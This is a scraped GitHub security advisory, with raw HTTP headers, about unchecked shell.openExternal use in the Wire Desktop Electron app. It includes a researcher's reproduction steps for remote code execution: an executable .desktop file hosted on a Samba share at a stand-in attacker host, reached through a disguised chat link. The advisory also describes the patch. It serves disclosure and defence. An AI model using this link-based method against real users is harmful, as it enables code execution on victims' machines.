CARVIEW |
Select Language
HTTP/2 200
date: Thu, 31 Jul 2025 11:33:22 GMT
content-type: text/html; charset=utf-8
vary: X-PJAX, X-PJAX-Container, Turbo-Visit, Turbo-Frame, X-Requested-With,Accept-Encoding, Accept, X-Requested-With
etag: W/"b3bd6abf189303e0acce89e496b0fca6"
cache-control: max-age=0, private, must-revalidate
strict-transport-security: max-age=31536000; includeSubdomains; preload
x-frame-options: deny
x-content-type-options: nosniff
x-xss-protection: 0
referrer-policy: no-referrer-when-downgrade
content-security-policy: default-src 'none'; base-uri 'self'; child-src github.githubassets.com github.com/assets-cdn/worker/ github.com/assets/ gist.github.com/assets-cdn/worker/; connect-src 'self' uploads.github.com www.githubstatus.com collector.github.com raw.githubusercontent.com api.github.com github-cloud.s3.amazonaws.com github-production-repository-file-5c1aeb.s3.amazonaws.com github-production-upload-manifest-file-7fdce7.s3.amazonaws.com github-production-user-asset-6210df.s3.amazonaws.com *.rel.tunnels.api.visualstudio.com wss://*.rel.tunnels.api.visualstudio.com objects-origin.githubusercontent.com copilot-proxy.githubusercontent.com proxy.individual.githubcopilot.com proxy.business.githubcopilot.com proxy.enterprise.githubcopilot.com *.actions.githubusercontent.com wss://*.actions.githubusercontent.com productionresultssa0.blob.core.windows.net/ productionresultssa1.blob.core.windows.net/ productionresultssa2.blob.core.windows.net/ productionresultssa3.blob.core.windows.net/ productionresultssa4.blob.core.windows.net/ productionresultssa5.blob.core.windows.net/ productionresultssa6.blob.core.windows.net/ productionresultssa7.blob.core.windows.net/ productionresultssa8.blob.core.windows.net/ productionresultssa9.blob.core.windows.net/ productionresultssa10.blob.core.windows.net/ productionresultssa11.blob.core.windows.net/ productionresultssa12.blob.core.windows.net/ productionresultssa13.blob.core.windows.net/ productionresultssa14.blob.core.windows.net/ productionresultssa15.blob.core.windows.net/ productionresultssa16.blob.core.windows.net/ productionresultssa17.blob.core.windows.net/ productionresultssa18.blob.core.windows.net/ productionresultssa19.blob.core.windows.net/ github-production-repository-image-32fea6.s3.amazonaws.com github-production-release-asset-2e65be.s3.amazonaws.com insights.github.com wss://alive.github.com wss://alive-staging.github.com api.githubcopilot.com api.individual.githubcopilot.com api.business.githubcopilot.com api.enterprise.githubcopilot.com; font-src github.githubassets.com; form-action 'self' github.com gist.github.com copilot-workspace.githubnext.com objects-origin.githubusercontent.com; frame-ancestors 'none'; frame-src viewscreen.githubusercontent.com notebooks.githubusercontent.com; img-src 'self' data: blob: github.githubassets.com media.githubusercontent.com camo.githubusercontent.com identicons.github.com avatars.githubusercontent.com private-avatars.githubusercontent.com github-cloud.s3.amazonaws.com objects.githubusercontent.com release-assets.githubusercontent.com secured-user-images.githubusercontent.com/ user-images.githubusercontent.com/ private-user-images.githubusercontent.com opengraph.githubassets.com copilotprodattachments.blob.core.windows.net/github-production-copilot-attachments/ github-production-user-asset-6210df.s3.amazonaws.com customer-stories-feed.github.com spotlights-feed.github.com objects-origin.githubusercontent.com *.githubusercontent.com; manifest-src 'self'; media-src github.com user-images.githubusercontent.com/ secured-user-images.githubusercontent.com/ private-user-images.githubusercontent.com github-production-user-asset-6210df.s3.amazonaws.com gist.github.com; script-src github.githubassets.com; style-src 'unsafe-inline' github.githubassets.com; upgrade-insecure-requests; worker-src github.githubassets.com github.com/assets-cdn/worker/ github.com/assets/ gist.github.com/assets-cdn/worker/
server: github.com
content-encoding: gzip
accept-ranges: bytes
set-cookie: _gh_sess=9zMtQu%2BMTPxAtP9Vxvfvd%2FFUk5T4%2F6KyuIaNC6HWLCWiuYgwq8mkle8SSju8sYjVOX1aAIeUwSZtmhTXMRWxpFTuX47rYGt63USB7RuBnWvm2rAv2aIJC7x32wabuD%2Bjpq679q16X8y5OotiAFQZYQ1Mhp3wCbmPdDRTqPQ%2B1AZcNzblrD4HpvcK8Vxp8C7xLWcLfFinOqU2X0z5SV5KOK0d9kBtL%2BolYDTkzJSFpGUSWQTH0dqfUcl7zvJBUz0JrsCPHs4fsSYkP6UI%2BkzKLw%3D%3D--esNT0EycK3vd3ET6--SbaRkxSQdJCwdillgJEk7g%3D%3D; Path=/; HttpOnly; Secure; SameSite=Lax
set-cookie: _octo=GH1.1.370582360.1753961602; Path=/; Domain=github.com; Expires=Fri, 31 Jul 2026 11:33:22 GMT; Secure; SameSite=Lax
set-cookie: logged_in=no; Path=/; Domain=github.com; Expires=Fri, 31 Jul 2026 11:33:22 GMT; HttpOnly; Secure; SameSite=Lax
x-github-request-id: D3AC:36DC87:934D98:AFF1BA:688B5482
Insecure use of shell.openExternal · Advisory · wireapp/wire-desktop · GitHub
Skip to content
Navigation Menu
{{ message }}
-
Notifications
You must be signed in to change notification settings - Fork 238
Insecure use of shell.openExternal
High
Package
No package listed
Affected versions
<= 3.19.x
Patched versions
3.20.x
Description
You can’t perform that action at this time.
shell.openExternal
was used without checking the URL.Impact
This vulnerability allows an attacker to execute code on the victims machine.
The victim has to interact with the link though and sees the URL that is opened.
We therefore rate this vulnerability high.
Patches
The issue was patched by implementing a helper function which checks if the URL's protocol is common. If it is common, the URL will be opened externally. If not, the URL will not be opened and a warning appears for the user informing them that a probably insecure URL was blocked from being executed.
References
https://benjamin-altpeter.de/shell-openexternal-dangers/
Credit
This issue was reported by Benjamin Altpeter.
For more information
If you have any questions or comments about this advisory:
Details and Report
I have found that the Wire Desktop Electron app opens new windows
using
shell.openExternal()
. This allows an attacker to gain remotecode execution on a user's computer if they middleclick a malicious
link.
The attack presented here works on Xubuntu 20.04. Similar attacks will
work on other operating systems.
Steps to reproduce:
Install Wire Desktop on Xubuntu 20.04.
Start a conversation.
Setup a public Samba server (at
attacker.tld
in this example) andcreate a public share (named
public
here). In this share, publishthe following file as
pwn.desktop
and make it executable:From another account in the same conversation, send the following
message with the corresponding values replaced:
[Check out this great video!](smb://attacker.tld/public/pwn.desktop)
Middleclick the link and (if necessary) confirm starting the
untrusted launcher.
Notice the calculator and message box appearing, confirming remote
code execution.
I have attached a video of the attack to the report.
Affected version: Tested using the latest version 3.18.2925 (from:
https://github.com/wireapp/wire-desktop/releases/tag/linux%2F3.18.2925)
Cause and suggested fixes:
The problem is in the handler for the
new-window
event:wire-desktop/electron/src/main.ts
Lines 258 to 268 in cc82611
All URLs are passed to
shell.openExternal()
. Instead, I stronglyrecommend switching to an allowlist that only allows a selection of
protocols (
https://
,https://
andmailto:
will probably beenough). Note that blocking
smb:
isn't enough as this is just oneexample of a protocol that can be used for exploitation.
Severity:
sending a message to a conversation.
user has to middleclick the link (which is obfuscated) and potentially
confirm launching the executable. The last part may not be necessary
depending on the particular attack vector and system the user runs.
distributions. However, this is only due to the particular attack
payload used (a Linux
.desktop
file accessed over Samba). Similarpayloads will also work on other Linux distributions as well as
Windows and macOS. The Electron documentation explicitly warns against
using
shell.openExternal()
with untrusted content:https://www.electronjs.org/docs/tutorial/security#14-do-not-use-openexternal-with-untrusted-content
arbitrary code on the user's system.
cases that I can think of.